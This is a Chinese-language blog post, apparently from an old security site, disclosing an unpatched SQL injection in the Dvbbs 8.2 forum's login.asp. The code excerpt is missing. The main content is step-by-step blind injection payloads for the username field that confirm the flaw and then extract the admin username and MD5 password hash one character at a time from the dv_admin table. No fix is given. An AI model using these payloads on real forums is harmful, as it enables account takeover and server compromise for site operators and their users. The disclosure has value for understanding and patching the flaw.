<< 遇到sql server 2005 ,恢复xp_cmdshell的办法phpwind管理权限泄露漏洞 >>

Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞

by where

漏洞描述:

中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。


漏洞等级:

高危

漏洞分析:

Login.asp 代码片段
-----------------------------------------------------------------------------------------------------------------

漏洞利用:(access版)

由于使用验证码,该漏洞只能纯手工进行注入尝试,在用户登陆页面,用户名处构造sql语句

如:

判断

Where’ and ‘1’=’1

where’ and ‘1’=’2

密码任意6位,输入验证码,根据返回信息,第一条显示用户名或密码错误第二条显示无此用户,猜解用户
where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1
where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1

……………………….
……………………
…………………….
猜解密码(md5加密)
where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1
where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1

……………………
……………………
…………………..
简单测试官方sql版也存在漏洞,利用过程不写了



动网论坛每个版本都是那么的脆弱...
添加书签: [QQ书签] [百度搜藏] [新浪ViVi] [365Key网摘] [天极网摘] [我摘] [POCO网摘] [和讯网摘]
  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

Search

最近发表

Copyright 2006-2008 www.edge365.com Some Rights Reserved.